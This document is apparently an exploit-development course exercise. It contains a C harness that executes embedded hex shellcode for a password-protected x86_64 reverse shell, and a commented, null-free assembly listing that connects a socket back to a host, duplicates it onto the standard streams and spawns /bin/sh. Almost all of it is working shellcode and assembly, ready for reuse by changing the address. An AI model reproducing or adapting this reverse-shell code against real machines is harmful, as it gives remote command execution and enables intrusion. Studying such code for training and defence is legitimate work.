"\xeb\x28\x45\x6e\x74\x65\x72\x20\x74\x68\x65\x20\x73\x65\x63\x72\x65\x74\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x20\x74\x6f\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x3a\x20\x0a\x48\x31\xc0\x48\x89\xc7\x48\x89\xfe\x48\x89\xf2\x48\x83\xc0\x29\x48\x83\xc7\x02\x48\x83\xc6\x01\x0f\x05\x48\x97\x48\x31\xc0\x48\x89\xc6\x48\x89\xf2\x52\xc7\x44\x24\xfc\x0a\x01\x07\x11\x80\x6c\x24\xfd\x01\x66\xc7\x44\x24\xfa\x11\x5c\x66\xc7\x44\x24\xf8\xff\xff\x66\x83\x6c\x24\xf8\xfd\x48\x83\xec\x08\x48\x31\xd2\x48\x83\xc2\x10\x48\x89\xe6\x48\x83\xc0\x2a\x0f\x05\x4d\x31\xc9\x48\x31\xc0\x48\x83\xc0\x21\x4c\x89\xce\x0f\x05\x49\xff\xc1\x49\x83\xf9\x03\x75\xeb\x48\x31\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x52\xff\xff\xff\x48\x83\xc2\x27\x0f\x05\x48\x31\xc0\x48\x89\xc7\x48\x89\xc2\x48\x89\xe6\x48\x83\xc2\x08\x0f\x05\x48\x89\xe7\x48\xb8\x50\x61\x73\x73\x77\x6f\x72\x64\xaf\x75\xc5\x48\x31\xc0\x48\x83\xc0\x3b\x4d\x31\xc9\x41\x51\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x0f\x05";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-2/shellcode.c
Their Reverse Shell Assembly Code After We DeNulled It in x86_64 (Part 2)
global _start
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
xor rax, rax
mov rdi, rax
mov rsi, rax
mov rdx, rax
add rax, 41
add rdi, 2
inc rsi
syscall
; copy socket descriptor to rdi for future use
mov rdi, rax
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = inet_addr("127.0.0.1")
; bzero(&server.sin_zero, 8)
xor rax, rax
push rax
mov dword [rsp-4], 0x0101017f
sub byte [rsp-3], 1 ; sub 1 from x.1.x.x
sub byte [rsp-2], 1 ; sub 1 from x.x.1.x
mov word [rsp-6], 0x5c11
mov word [rsp-8], 0xffff ; AF_INET - which is 0x2 but we need
; to avoid nulls to we will start with
; 0xffff and subtract 0xfffd
sub word [rsp-8], 0xfffd ; this will take us back to 0x02
sub rsp, 8
; connect(sock, (struct sockaddr *)&server, sockaddr_len)
xor rax, rax
mov rdx, rax
add rax, 42
mov rsi, rsp
add rdx, 16
syscall
; duplicate sockets
; dup2 (new, old)
xor rax, rax
mov rsi, rax
add rax, 33
syscall
xor rax, rax
mov rsi, rax
add rax, 33
inc rsi
syscall
xor rax, rax
mov rsi, rax
add rax, 33
add rsi, 2
syscall
; execve
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall